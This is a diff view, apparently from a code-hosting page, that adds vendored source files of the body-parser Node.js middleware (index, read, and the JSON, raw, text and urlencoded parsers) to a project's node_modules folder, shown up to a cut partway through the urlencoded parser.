[ossf-scorecard-visualizer]: https://ossf.github.io/scorecard-visualizer/#/projects/github.com/expressjs/body-parser
|
node_modules/body-parser/index.js
ADDED
@@ -0,0 +1,80 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
/*!
|
2 |
+
* body-parser
|
3 |
+
* Copyright(c) 2014-2015 Douglas Christopher Wilson
|
4 |
+
* MIT Licensed
|
5 |
+
*/
|
6 |
+
|
7 |
+
'use strict'
|
8 |
+
|
9 |
+
/**
|
10 |
+
* @typedef Parsers
|
11 |
+
* @type {function}
|
12 |
+
* @property {function} json
|
13 |
+
* @property {function} raw
|
14 |
+
* @property {function} text
|
15 |
+
* @property {function} urlencoded
|
16 |
+
*/
|
17 |
+
|
18 |
+
/**
|
19 |
+
* Module exports.
|
20 |
+
* @type {Parsers}
|
21 |
+
*/
|
22 |
+
|
23 |
+
exports = module.exports = bodyParser
|
24 |
+
|
25 |
+
/**
|
26 |
+
* JSON parser.
|
27 |
+
* @public
|
28 |
+
*/
|
29 |
+
|
30 |
+
Object.defineProperty(exports, 'json', {
|
31 |
+
configurable: true,
|
32 |
+
enumerable: true,
|
33 |
+
get: () => require('./lib/types/json')
|
34 |
+
})
|
35 |
+
|
36 |
+
/**
|
37 |
+
* Raw parser.
|
38 |
+
* @public
|
39 |
+
*/
|
40 |
+
|
41 |
+
Object.defineProperty(exports, 'raw', {
|
42 |
+
configurable: true,
|
43 |
+
enumerable: true,
|
44 |
+
get: () => require('./lib/types/raw')
|
45 |
+
})
|
46 |
+
|
47 |
+
/**
|
48 |
+
* Text parser.
|
49 |
+
* @public
|
50 |
+
*/
|
51 |
+
|
52 |
+
Object.defineProperty(exports, 'text', {
|
53 |
+
configurable: true,
|
54 |
+
enumerable: true,
|
55 |
+
get: () => require('./lib/types/text')
|
56 |
+
})
|
57 |
+
|
58 |
+
/**
|
59 |
+
* URL-encoded parser.
|
60 |
+
* @public
|
61 |
+
*/
|
62 |
+
|
63 |
+
Object.defineProperty(exports, 'urlencoded', {
|
64 |
+
configurable: true,
|
65 |
+
enumerable: true,
|
66 |
+
get: () => require('./lib/types/urlencoded')
|
67 |
+
})
|
68 |
+
|
69 |
+
/**
|
70 |
+
* Create a middleware to parse json and urlencoded bodies.
|
71 |
+
*
|
72 |
+
* @param {object} [options]
|
73 |
+
* @return {function}
|
74 |
+
* @deprecated
|
75 |
+
* @public
|
76 |
+
*/
|
77 |
+
|
78 |
+
function bodyParser () {
|
79 |
+
throw new Error('The bodyParser() generic has been split into individual middleware to use instead.')
|
80 |
+
}
|
node_modules/body-parser/lib/read.js
ADDED
@@ -0,0 +1,210 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
/*!
|
2 |
+
* body-parser
|
3 |
+
* Copyright(c) 2014-2015 Douglas Christopher Wilson
|
4 |
+
* MIT Licensed
|
5 |
+
*/
|
6 |
+
|
7 |
+
'use strict'
|
8 |
+
|
9 |
+
/**
|
10 |
+
* Module dependencies.
|
11 |
+
* @private
|
12 |
+
*/
|
13 |
+
|
14 |
+
var createError = require('http-errors')
|
15 |
+
var getBody = require('raw-body')
|
16 |
+
var iconv = require('iconv-lite')
|
17 |
+
var onFinished = require('on-finished')
|
18 |
+
var zlib = require('node:zlib')
|
19 |
+
|
20 |
+
/**
|
21 |
+
* Module exports.
|
22 |
+
*/
|
23 |
+
|
24 |
+
module.exports = read
|
25 |
+
|
26 |
+
/**
|
27 |
+
* Read a request into a buffer and parse.
|
28 |
+
*
|
29 |
+
* @param {object} req
|
30 |
+
* @param {object} res
|
31 |
+
* @param {function} next
|
32 |
+
* @param {function} parse
|
33 |
+
* @param {function} debug
|
34 |
+
* @param {object} options
|
35 |
+
* @private
|
36 |
+
*/
|
37 |
+
|
38 |
+
function read (req, res, next, parse, debug, options) {
|
39 |
+
var length
|
40 |
+
var opts = options
|
41 |
+
var stream
|
42 |
+
|
43 |
+
// read options
|
44 |
+
var encoding = opts.encoding !== null
|
45 |
+
? opts.encoding
|
46 |
+
: null
|
47 |
+
var verify = opts.verify
|
48 |
+
|
49 |
+
try {
|
50 |
+
// get the content stream
|
51 |
+
stream = contentstream(req, debug, opts.inflate)
|
52 |
+
length = stream.length
|
53 |
+
stream.length = undefined
|
54 |
+
} catch (err) {
|
55 |
+
return next(err)
|
56 |
+
}
|
57 |
+
|
58 |
+
// set raw-body options
|
59 |
+
opts.length = length
|
60 |
+
opts.encoding = verify
|
61 |
+
? null
|
62 |
+
: encoding
|
63 |
+
|
64 |
+
// assert charset is supported
|
65 |
+
if (opts.encoding === null && encoding !== null && !iconv.encodingExists(encoding)) {
|
66 |
+
return next(createError(415, 'unsupported charset "' + encoding.toUpperCase() + '"', {
|
67 |
+
charset: encoding.toLowerCase(),
|
68 |
+
type: 'charset.unsupported'
|
69 |
+
}))
|
70 |
+
}
|
71 |
+
|
72 |
+
// read body
|
73 |
+
debug('read body')
|
74 |
+
getBody(stream, opts, function (error, body) {
|
75 |
+
if (error) {
|
76 |
+
var _error
|
77 |
+
|
78 |
+
if (error.type === 'encoding.unsupported') {
|
79 |
+
// echo back charset
|
80 |
+
_error = createError(415, 'unsupported charset "' + encoding.toUpperCase() + '"', {
|
81 |
+
charset: encoding.toLowerCase(),
|
82 |
+
type: 'charset.unsupported'
|
83 |
+
})
|
84 |
+
} else {
|
85 |
+
// set status code on error
|
86 |
+
_error = createError(400, error)
|
87 |
+
}
|
88 |
+
|
89 |
+
// unpipe from stream and destroy
|
90 |
+
if (stream !== req) {
|
91 |
+
req.unpipe()
|
92 |
+
stream.destroy()
|
93 |
+
}
|
94 |
+
|
95 |
+
// read off entire request
|
96 |
+
dump(req, function onfinished () {
|
97 |
+
next(createError(400, _error))
|
98 |
+
})
|
99 |
+
return
|
100 |
+
}
|
101 |
+
|
102 |
+
// verify
|
103 |
+
if (verify) {
|
104 |
+
try {
|
105 |
+
debug('verify body')
|
106 |
+
verify(req, res, body, encoding)
|
107 |
+
} catch (err) {
|
108 |
+
next(createError(403, err, {
|
109 |
+
body: body,
|
110 |
+
type: err.type || 'entity.verify.failed'
|
111 |
+
}))
|
112 |
+
return
|
113 |
+
}
|
114 |
+
}
|
115 |
+
|
116 |
+
// parse
|
117 |
+
var str = body
|
118 |
+
try {
|
119 |
+
debug('parse body')
|
120 |
+
str = typeof body !== 'string' && encoding !== null
|
121 |
+
? iconv.decode(body, encoding)
|
122 |
+
: body
|
123 |
+
req.body = parse(str, encoding)
|
124 |
+
} catch (err) {
|
125 |
+
next(createError(400, err, {
|
126 |
+
body: str,
|
127 |
+
type: err.type || 'entity.parse.failed'
|
128 |
+
}))
|
129 |
+
return
|
130 |
+
}
|
131 |
+
|
132 |
+
next()
|
133 |
+
})
|
134 |
+
}
|
135 |
+
|
136 |
+
/**
|
137 |
+
* Get the content stream of the request.
|
138 |
+
*
|
139 |
+
* @param {object} req
|
140 |
+
* @param {function} debug
|
141 |
+
* @param {boolean} [inflate=true]
|
142 |
+
* @return {object}
|
143 |
+
* @api private
|
144 |
+
*/
|
145 |
+
|
146 |
+
function contentstream (req, debug, inflate) {
|
147 |
+
var encoding = (req.headers['content-encoding'] || 'identity').toLowerCase()
|
148 |
+
var length = req.headers['content-length']
|
149 |
+
|
150 |
+
debug('content-encoding "%s"', encoding)
|
151 |
+
|
152 |
+
if (inflate === false && encoding !== 'identity') {
|
153 |
+
throw createError(415, 'content encoding unsupported', {
|
154 |
+
encoding: encoding,
|
155 |
+
type: 'encoding.unsupported'
|
156 |
+
})
|
157 |
+
}
|
158 |
+
|
159 |
+
if (encoding === 'identity') {
|
160 |
+
req.length = length
|
161 |
+
return req
|
162 |
+
}
|
163 |
+
|
164 |
+
var stream = createDecompressionStream(encoding, debug)
|
165 |
+
req.pipe(stream)
|
166 |
+
return stream
|
167 |
+
}
|
168 |
+
|
169 |
+
/**
|
170 |
+
* Create a decompression stream for the given encoding.
|
171 |
+
* @param {string} encoding
|
172 |
+
* @param {function} debug
|
173 |
+
* @return {object}
|
174 |
+
* @api private
|
175 |
+
*/
|
176 |
+
function createDecompressionStream (encoding, debug) {
|
177 |
+
switch (encoding) {
|
178 |
+
case 'deflate':
|
179 |
+
debug('inflate body')
|
180 |
+
return zlib.createInflate()
|
181 |
+
case 'gzip':
|
182 |
+
debug('gunzip body')
|
183 |
+
return zlib.createGunzip()
|
184 |
+
case 'br':
|
185 |
+
debug('brotli decompress body')
|
186 |
+
return zlib.createBrotliDecompress()
|
187 |
+
default:
|
188 |
+
throw createError(415, 'unsupported content encoding "' + encoding + '"', {
|
189 |
+
encoding: encoding,
|
190 |
+
type: 'encoding.unsupported'
|
191 |
+
})
|
192 |
+
}
|
193 |
+
}
|
194 |
+
|
195 |
+
/**
|
196 |
+
* Dump the contents of a request.
|
197 |
+
*
|
198 |
+
* @param {object} req
|
199 |
+
* @param {function} callback
|
200 |
+
* @api private
|
201 |
+
*/
|
202 |
+
|
203 |
+
function dump (req, callback) {
|
204 |
+
if (onFinished.isFinished(req)) {
|
205 |
+
callback(null)
|
206 |
+
} else {
|
207 |
+
onFinished(req, callback)
|
208 |
+
req.resume()
|
209 |
+
}
|
210 |
+
}
|
node_modules/body-parser/lib/types/json.js
ADDED
@@ -0,0 +1,206 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
/*!
|
2 |
+
* body-parser
|
3 |
+
* Copyright(c) 2014 Jonathan Ong
|
4 |
+
* Copyright(c) 2014-2015 Douglas Christopher Wilson
|
5 |
+
* MIT Licensed
|
6 |
+
*/
|
7 |
+
|
8 |
+
'use strict'
|
9 |
+
|
10 |
+
/**
|
11 |
+
* Module dependencies.
|
12 |
+
* @private
|
13 |
+
*/
|
14 |
+
|
15 |
+
var createError = require('http-errors')
|
16 |
+
var debug = require('debug')('body-parser:json')
|
17 |
+
var isFinished = require('on-finished').isFinished
|
18 |
+
var read = require('../read')
|
19 |
+
var typeis = require('type-is')
|
20 |
+
var { getCharset, normalizeOptions } = require('../utils')
|
21 |
+
|
22 |
+
/**
|
23 |
+
* Module exports.
|
24 |
+
*/
|
25 |
+
|
26 |
+
module.exports = json
|
27 |
+
|
28 |
+
/**
|
29 |
+
* RegExp to match the first non-space in a string.
|
30 |
+
*
|
31 |
+
* Allowed whitespace is defined in RFC 7159:
|
32 |
+
*
|
33 |
+
* ws = *(
|
34 |
+
* %x20 / ; Space
|
35 |
+
* %x09 / ; Horizontal tab
|
36 |
+
* %x0A / ; Line feed or New line
|
37 |
+
* %x0D ) ; Carriage return
|
38 |
+
*/
|
39 |
+
|
40 |
+
var FIRST_CHAR_REGEXP = /^[\x20\x09\x0a\x0d]*([^\x20\x09\x0a\x0d])/ // eslint-disable-line no-control-regex
|
41 |
+
|
42 |
+
var JSON_SYNTAX_CHAR = '#'
|
43 |
+
var JSON_SYNTAX_REGEXP = /#+/g
|
44 |
+
|
45 |
+
/**
|
46 |
+
* Create a middleware to parse JSON bodies.
|
47 |
+
*
|
48 |
+
* @param {object} [options]
|
49 |
+
* @return {function}
|
50 |
+
* @public
|
51 |
+
*/
|
52 |
+
|
53 |
+
function json (options) {
|
54 |
+
var { inflate, limit, verify, shouldParse } = normalizeOptions(options, 'application/json')
|
55 |
+
|
56 |
+
var reviver = options?.reviver
|
57 |
+
var strict = options?.strict !== false
|
58 |
+
|
59 |
+
function parse (body) {
|
60 |
+
if (body.length === 0) {
|
61 |
+
// special-case empty json body, as it's a common client-side mistake
|
62 |
+
// TODO: maybe make this configurable or part of "strict" option
|
63 |
+
return {}
|
64 |
+
}
|
65 |
+
|
66 |
+
if (strict) {
|
67 |
+
var first = firstchar(body)
|
68 |
+
|
69 |
+
if (first !== '{' && first !== '[') {
|
70 |
+
debug('strict violation')
|
71 |
+
throw createStrictSyntaxError(body, first)
|
72 |
+
}
|
73 |
+
}
|
74 |
+
|
75 |
+
try {
|
76 |
+
debug('parse json')
|
77 |
+
return JSON.parse(body, reviver)
|
78 |
+
} catch (e) {
|
79 |
+
throw normalizeJsonSyntaxError(e, {
|
80 |
+
message: e.message,
|
81 |
+
stack: e.stack
|
82 |
+
})
|
83 |
+
}
|
84 |
+
}
|
85 |
+
|
86 |
+
return function jsonParser (req, res, next) {
|
87 |
+
if (isFinished(req)) {
|
88 |
+
debug('body already parsed')
|
89 |
+
next()
|
90 |
+
return
|
91 |
+
}
|
92 |
+
|
93 |
+
if (!('body' in req)) {
|
94 |
+
req.body = undefined
|
95 |
+
}
|
96 |
+
|
97 |
+
// skip requests without bodies
|
98 |
+
if (!typeis.hasBody(req)) {
|
99 |
+
debug('skip empty body')
|
100 |
+
next()
|
101 |
+
return
|
102 |
+
}
|
103 |
+
|
104 |
+
debug('content-type %j', req.headers['content-type'])
|
105 |
+
|
106 |
+
// determine if request should be parsed
|
107 |
+
if (!shouldParse(req)) {
|
108 |
+
debug('skip parsing')
|
109 |
+
next()
|
110 |
+
return
|
111 |
+
}
|
112 |
+
|
113 |
+
// assert charset per RFC 7159 sec 8.1
|
114 |
+
var charset = getCharset(req) || 'utf-8'
|
115 |
+
if (charset.slice(0, 4) !== 'utf-') {
|
116 |
+
debug('invalid charset')
|
117 |
+
next(createError(415, 'unsupported charset "' + charset.toUpperCase() + '"', {
|
118 |
+
charset: charset,
|
119 |
+
type: 'charset.unsupported'
|
120 |
+
}))
|
121 |
+
return
|
122 |
+
}
|
123 |
+
|
124 |
+
// read
|
125 |
+
read(req, res, next, parse, debug, {
|
126 |
+
encoding: charset,
|
127 |
+
inflate,
|
128 |
+
limit,
|
129 |
+
verify
|
130 |
+
})
|
131 |
+
}
|
132 |
+
}
|
133 |
+
|
134 |
+
/**
|
135 |
+
* Create strict violation syntax error matching native error.
|
136 |
+
*
|
137 |
+
* @param {string} str
|
138 |
+
* @param {string} char
|
139 |
+
* @return {Error}
|
140 |
+
* @private
|
141 |
+
*/
|
142 |
+
|
143 |
+
function createStrictSyntaxError (str, char) {
|
144 |
+
var index = str.indexOf(char)
|
145 |
+
var partial = ''
|
146 |
+
|
147 |
+
if (index !== -1) {
|
148 |
+
partial = str.substring(0, index) + JSON_SYNTAX_CHAR
|
149 |
+
|
150 |
+
for (var i = index + 1; i < str.length; i++) {
|
151 |
+
partial += JSON_SYNTAX_CHAR
|
152 |
+
}
|
153 |
+
}
|
154 |
+
|
155 |
+
try {
|
156 |
+
JSON.parse(partial); /* istanbul ignore next */ throw new SyntaxError('strict violation')
|
157 |
+
} catch (e) {
|
158 |
+
return normalizeJsonSyntaxError(e, {
|
159 |
+
message: e.message.replace(JSON_SYNTAX_REGEXP, function (placeholder) {
|
160 |
+
return str.substring(index, index + placeholder.length)
|
161 |
+
}),
|
162 |
+
stack: e.stack
|
163 |
+
})
|
164 |
+
}
|
165 |
+
}
|
166 |
+
|
167 |
+
/**
|
168 |
+
* Get the first non-whitespace character in a string.
|
169 |
+
*
|
170 |
+
* @param {string} str
|
171 |
+
* @return {function}
|
172 |
+
* @private
|
173 |
+
*/
|
174 |
+
|
175 |
+
function firstchar (str) {
|
176 |
+
var match = FIRST_CHAR_REGEXP.exec(str)
|
177 |
+
|
178 |
+
return match
|
179 |
+
? match[1]
|
180 |
+
: undefined
|
181 |
+
}
|
182 |
+
|
183 |
+
/**
|
184 |
+
* Normalize a SyntaxError for JSON.parse.
|
185 |
+
*
|
186 |
+
* @param {SyntaxError} error
|
187 |
+
* @param {object} obj
|
188 |
+
* @return {SyntaxError}
|
189 |
+
*/
|
190 |
+
|
191 |
+
function normalizeJsonSyntaxError (error, obj) {
|
192 |
+
var keys = Object.getOwnPropertyNames(error)
|
193 |
+
|
194 |
+
for (var i = 0; i < keys.length; i++) {
|
195 |
+
var key = keys[i]
|
196 |
+
if (key !== 'stack' && key !== 'message') {
|
197 |
+
delete error[key]
|
198 |
+
}
|
199 |
+
}
|
200 |
+
|
201 |
+
// replace stack before message for Node.js 0.10 and below
|
202 |
+
error.stack = obj.stack.replace(error.message, obj.message)
|
203 |
+
error.message = obj.message
|
204 |
+
|
205 |
+
return error
|
206 |
+
}
|
node_modules/body-parser/lib/types/raw.js
ADDED
@@ -0,0 +1,75 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
/*!
|
2 |
+
* body-parser
|
3 |
+
* Copyright(c) 2014-2015 Douglas Christopher Wilson
|
4 |
+
* MIT Licensed
|
5 |
+
*/
|
6 |
+
|
7 |
+
'use strict'
|
8 |
+
|
9 |
+
/**
|
10 |
+
* Module dependencies.
|
11 |
+
*/
|
12 |
+
|
13 |
+
var debug = require('debug')('body-parser:raw')
|
14 |
+
var isFinished = require('on-finished').isFinished
|
15 |
+
var read = require('../read')
|
16 |
+
var typeis = require('type-is')
|
17 |
+
var { normalizeOptions } = require('../utils')
|
18 |
+
|
19 |
+
/**
|
20 |
+
* Module exports.
|
21 |
+
*/
|
22 |
+
|
23 |
+
module.exports = raw
|
24 |
+
|
25 |
+
/**
|
26 |
+
* Create a middleware to parse raw bodies.
|
27 |
+
*
|
28 |
+
* @param {object} [options]
|
29 |
+
* @return {function}
|
30 |
+
* @api public
|
31 |
+
*/
|
32 |
+
|
33 |
+
function raw (options) {
|
34 |
+
var { inflate, limit, verify, shouldParse } = normalizeOptions(options, 'application/octet-stream')
|
35 |
+
|
36 |
+
function parse (buf) {
|
37 |
+
return buf
|
38 |
+
}
|
39 |
+
|
40 |
+
return function rawParser (req, res, next) {
|
41 |
+
if (isFinished(req)) {
|
42 |
+
debug('body already parsed')
|
43 |
+
next()
|
44 |
+
return
|
45 |
+
}
|
46 |
+
|
47 |
+
if (!('body' in req)) {
|
48 |
+
req.body = undefined
|
49 |
+
}
|
50 |
+
|
51 |
+
// skip requests without bodies
|
52 |
+
if (!typeis.hasBody(req)) {
|
53 |
+
debug('skip empty body')
|
54 |
+
next()
|
55 |
+
return
|
56 |
+
}
|
57 |
+
|
58 |
+
debug('content-type %j', req.headers['content-type'])
|
59 |
+
|
60 |
+
// determine if request should be parsed
|
61 |
+
if (!shouldParse(req)) {
|
62 |
+
debug('skip parsing')
|
63 |
+
next()
|
64 |
+
return
|
65 |
+
}
|
66 |
+
|
67 |
+
// read
|
68 |
+
read(req, res, next, parse, debug, {
|
69 |
+
encoding: null,
|
70 |
+
inflate,
|
71 |
+
limit,
|
72 |
+
verify
|
73 |
+
})
|
74 |
+
}
|
75 |
+
}
|
node_modules/body-parser/lib/types/text.js
ADDED
@@ -0,0 +1,80 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
/*!
|
2 |
+
* body-parser
|
3 |
+
* Copyright(c) 2014-2015 Douglas Christopher Wilson
|
4 |
+
* MIT Licensed
|
5 |
+
*/
|
6 |
+
|
7 |
+
'use strict'
|
8 |
+
|
9 |
+
/**
|
10 |
+
* Module dependencies.
|
11 |
+
*/
|
12 |
+
|
13 |
+
var debug = require('debug')('body-parser:text')
|
14 |
+
var isFinished = require('on-finished').isFinished
|
15 |
+
var read = require('../read')
|
16 |
+
var typeis = require('type-is')
|
17 |
+
var { getCharset, normalizeOptions } = require('../utils')
|
18 |
+
|
19 |
+
/**
|
20 |
+
* Module exports.
|
21 |
+
*/
|
22 |
+
|
23 |
+
module.exports = text
|
24 |
+
|
25 |
+
/**
|
26 |
+
* Create a middleware to parse text bodies.
|
27 |
+
*
|
28 |
+
* @param {object} [options]
|
29 |
+
* @return {function}
|
30 |
+
* @api public
|
31 |
+
*/
|
32 |
+
|
33 |
+
function text (options) {
|
34 |
+
var { inflate, limit, verify, shouldParse } = normalizeOptions(options, 'text/plain')
|
35 |
+
|
36 |
+
var defaultCharset = options?.defaultCharset || 'utf-8'
|
37 |
+
|
38 |
+
function parse (buf) {
|
39 |
+
return buf
|
40 |
+
}
|
41 |
+
|
42 |
+
return function textParser (req, res, next) {
|
43 |
+
if (isFinished(req)) {
|
44 |
+
debug('body already parsed')
|
45 |
+
next()
|
46 |
+
return
|
47 |
+
}
|
48 |
+
|
49 |
+
if (!('body' in req)) {
|
50 |
+
req.body = undefined
|
51 |
+
}
|
52 |
+
|
53 |
+
// skip requests without bodies
|
54 |
+
if (!typeis.hasBody(req)) {
|
55 |
+
debug('skip empty body')
|
56 |
+
next()
|
57 |
+
return
|
58 |
+
}
|
59 |
+
|
60 |
+
debug('content-type %j', req.headers['content-type'])
|
61 |
+
|
62 |
+
// determine if request should be parsed
|
63 |
+
if (!shouldParse(req)) {
|
64 |
+
debug('skip parsing')
|
65 |
+
next()
|
66 |
+
return
|
67 |
+
}
|
68 |
+
|
69 |
+
// get charset
|
70 |
+
var charset = getCharset(req) || defaultCharset
|
71 |
+
|
72 |
+
// read
|
73 |
+
read(req, res, next, parse, debug, {
|
74 |
+
encoding: charset,
|
75 |
+
inflate,
|
76 |
+
limit,
|
77 |
+
verify
|
78 |
+
})
|
79 |
+
}
|
80 |
+
}
|
node_modules/body-parser/lib/types/urlencoded.js
ADDED
@@ -0,0 +1,177 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
/*!
|
2 |
+
* body-parser
|
3 |
+
* Copyright(c) 2014 Jonathan Ong
|
4 |
+
* Copyright(c) 2014-2015 Douglas Christopher Wilson
|
5 |
+
* MIT Licensed
|
6 |
+
*/
|
7 |
+
|
8 |
+
'use strict'
|
9 |
+
|
10 |
+
/**
|
11 |
+
* Module dependencies.
|
12 |
+
* @private
|
13 |
+
*/
|
14 |
+
|
15 |
+
var createError = require('http-errors')
|
16 |
+
var debug = require('debug')('body-parser:urlencoded')
|
17 |
+
var isFinished = require('on-finished').isFinished
|
18 |
+
var read = require('../read')
|
19 |
+
var typeis = require('type-is')
|
20 |
+
var qs = require('qs')
|
21 |
+
var { getCharset, normalizeOptions } = require('../utils')
|
22 |
+
|
23 |
+
/**
|
24 |
+
* Module exports.
|
25 |
+
*/
|
26 |
+
|
27 |
+
module.exports = urlencoded
|
28 |
+
|
29 |
+
/**
|
30 |
+
* Create a middleware to parse urlencoded bodies.
|
31 |
+
*
|
32 |
+
* @param {object} [options]
|
33 |
+
* @return {function}
|
34 |
+
* @public
|
35 |
+
*/
|
36 |
+
|
37 |
+
function urlencoded (options) {
|
38 |
+
var { inflate, limit, verify, shouldParse } = normalizeOptions(options, 'application/x-www-form-urlencoded')
|
39 |
+
|
40 |
+
var defaultCharset = options?.defaultCharset || 'utf-8'
|
41 |
+
if (defaultCharset !== 'utf-8' && defaultCharset !== 'iso-8859-1') {
|
42 |
+
throw new TypeError('option defaultCharset must be either utf-8 or iso-8859-1')
|
43 |
+
}
|
44 |
+
|
45 |
+
// create the appropriate query parser
|
46 |
+
var queryparse = createQueryParser(options)
|
47 |
+
|
48 |
+
function parse (body, encoding) {
|
49 |
+
return body.length
|
50 |
+
? queryparse(body, encoding)
|
51 |
+
: {}
|
52 |
+
}
|
53 |
+
|
54 |
+
return function urlencodedParser (req, res, next) {
|
55 |
+
if (isFinished(req)) {
|
56 |
+
debug('body already parsed')
|
57 |
+
next()
|
58 |
+
return
|
59 |
+
}
|
60 |
+
|
61 |
+
if (!('body' in req)) {
|
62 |
+
req.body = undefined
|
63 |
+
}
|
64 |
+
|
65 |
+
// skip requests without bodies
|
66 |
+
if (!typeis.hasBody(req)) {
|
67 |
+
debug('skip empty body')
|
68 |
+
next()
|
69 |
+
return
|
70 |
+
}
|
71 |
+
|
72 |
+
debug('content-type %j', req.headers['content-type'])
|
73 |
+
|
74 |
+
// determine if request should be parsed
|
75 |
+
if (!shouldParse(req)) {
